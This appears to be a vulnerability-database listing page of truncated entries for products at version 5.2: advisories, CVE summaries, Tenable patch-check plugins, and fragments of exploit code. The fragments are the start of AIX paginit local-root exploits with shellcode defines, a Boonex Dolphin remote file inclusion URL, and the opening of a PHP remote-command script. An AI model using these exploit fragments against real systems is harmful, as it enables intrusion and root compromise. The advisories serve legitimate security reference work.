Immediacy .NET CMS 5.2 - 'Logon.aspx' Cross-Site Scripting

source: https://www.securityfocus.com/bid/20965/info Immediacy CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting...

Immediacy .NET CMS 5.2 - Logon.aspx Cross-Site Scripting

Immediacy .NET CMS 5.2 - Logon.aspx Cross-Site Scripting source: https://www.securityfocus.com/bid/20965/info Immediacy CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrar...

Solaris 9 (sparc) : 115610-25

Sun JavaTM System Administration Server 5.2 patch 6: Solaris spa. Date this patch was last updated by Sun : Sep/21/07 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text in this plugin was extracted from the Oracle SunOS Patch Updates. include'deprecatednasllevel.inc';...

Solaris 9 (x86) : 115611-25

Sun JavaTM System Administration Server 5.2 patch 6: Solarisx86. Date this patch was last updated by Sun : Sep/21/07 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text in this plugin was extracted from the Oracle SunOS Patch Updates. include'deprecatednasllevel.inc';...

Solaris 10 (sparc) : 115614-28 (deprecated)

Sun JavaTM System Directory Server 5.2 patch 6 : Solaris sparc. Date this patch was last updated by Sun : Sep/21/07 This plugin has been deprecated and either replaced with individual 115614 patch-revision plugins, or deemed non-security related. %NASLMINLEVEL 70300 C Tenable Network Security, In...

AIX 5.1 to 5.3 paginit Local Stack Overflow Exploit

No description provided by source. / exploit for /usr/bin/paginit tested on: AIX 5.2 if the exploit fails it's because the shellcode ends up at a different address. use dbx to check, and change RETADDR accordingly. cees-bart ceesb cs ru nl / define RETADDR 0x2ff22c90 char shellcode =...

AIX 5.2 paginit Local Root Exploit

No description provided by source. / IBM AIX paginit root exploit I just wanted to play with PowerPC Tested on 5.2 intropy intropy at caughq.org / include stdio.h include unistd.h include stdlib.h include string.h define DEBUG 1 define BUFFERSIZE 8000 define EGGSIZE 4003 define NOP 0x60 define...

IBM AIX uucp工具本地权限提升漏洞

IBM AIX是一款商业性质的UNIX操作系统。 AIX的uucp工具实现上存在漏洞，本地攻击者可能利用此漏洞uucp进程权限执行任意命令。 IBM AIX 5.3 IBM AIX 5.2 临时解决方法： 删除/usr/bin/uucp的setuid位： chmod 555 /usr/bin/uucp 厂商补丁： IBM --- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： ftp://aix.software.ibm.com/aix/efixes/security/uucpifix.tar.Z...

IBM AIX snappd本地权限提升漏洞

IBM AIX是一款商业性质的UNIX操作系统。 AIX的snappd工具实现上存在漏洞，本地snapp组的攻击者可能利用此漏洞以root用户权限执行任意指令。 IBM AIX 5.3 IBM AIX 5.2 临时解决方法： 删除setuid root位： chmod 550 /usr/sbin/snappd 厂商补丁： IBM --- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： ftp://aix.software.ibm.com/aix/efixes/security/snappdifix.tar.Z...

CVE-2006-5410

PHP remote file inclusion vulnerability in templates/tmpldfl/scripts/index.php in BoonEx Dolphin 5.2 allows remote attackers to execute arbitrary PHP code via a URL in the dirinc parameter. NOTE: it is possible that this issue overlaps CVE-2006-4189...

CVE-2006-5410

CVE-2006-5410 is a PHP remote file inclusion vulnerability in BoonEx Dolphin 5.2. The issue affects templates/tmpl_dfl/scripts/index.php and allows an attacker to execute arbitrary PHP code by supplying a URL in the dir[inc] parameter. This results in remote code execution with partial confidenti...

Boonex Dolphin 5.2 Remote File Inclusion

// http://www.w4cking.com CREDIT: w4ck1ng.com PRODUCT: Boonex Dolphin 5.2 http://www.boonex.com/products/dolphin/ VULNERABILITY: Remote File Inclusion NOTES: - requires register globals on - requires magic quotes off POC: host/path/templates/tmpldfl/scripts/index.php?dirinc=local/remot efile...

Boonex Dolphin 5.2 - index.php Remote Code Execution

Boonex Dolphin 5.2 - index.php Remote Code Execution !/usr/bin/php //templates/tmpldfl/scripts/index.php?dirinc= w4ck1ng - w4ck1ng.com / if!$argv3 die"Usage: php $argv0 host path command\n Usage Example: php $argv0 domain.com /dolphin/ whoami\n"; function send$host, $put global $data; $conn =...

Boonex Dolphin 5.2 - 'index.php' Remote Code Execution

!/usr/bin/php //templates/tmpldfl/scripts/index.php?dirinc= w4ck1ng - w4ck1ng.com / if!$argv3 die"Usage: php $argv0 host path command\n Usage Example: php $argv0 domain.com /dolphin/ whoami\n"; function send$host, $put global $data; $conn = fsockopen gethostbyname$host,"80" ; if!$conn...

AIX 5.2 : IY64976

The remote host is missing AIX Critical Security Patch number IY64976 SECURITY VULNERABILITY IN LSVPD. You should install this patch for your system to be up-to-date. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc';...

CVE-2006-4522

Unspecified vulnerability in dtterm in IBM AIX 5.2 and 5.3 allows local users to execute arbitrary code with root privileges via unspecified vectors...

CVE-2006-4416

Untrusted search path vulnerability in the mkvg command in IBM AIX 5.2 and 5.3 allows local users to gain privileges by modifying the path to point to a malicious 1 chdev, 2 mkboot, 3 varyonvg, or 4 varyoffvg program...

CVE-2006-3386

index.php in Vincent Leclercq News 5.2 allows remote attackers to obtain sensitive information, such as the installation path, via a mail parameter with invalid values...

CVE-2006-3384

SQL injection vulnerability in divers.php in Vincent Leclercq News 5.2 allows remote attackers to execute arbitrary SQL commands via the 1 id and 2 texte parameters...

CVE-2006-3385

CVE-2006-3385 affects Vincent Leclercq News 5.2, with a vulnerability in divers.php that allows cross-site scripting via the id and disabled parameters. The issue is confirmed by NVD entries; CVSS metrics indicate a base score of 5.8 (Medium) with network attack vector, and partial confidentialit...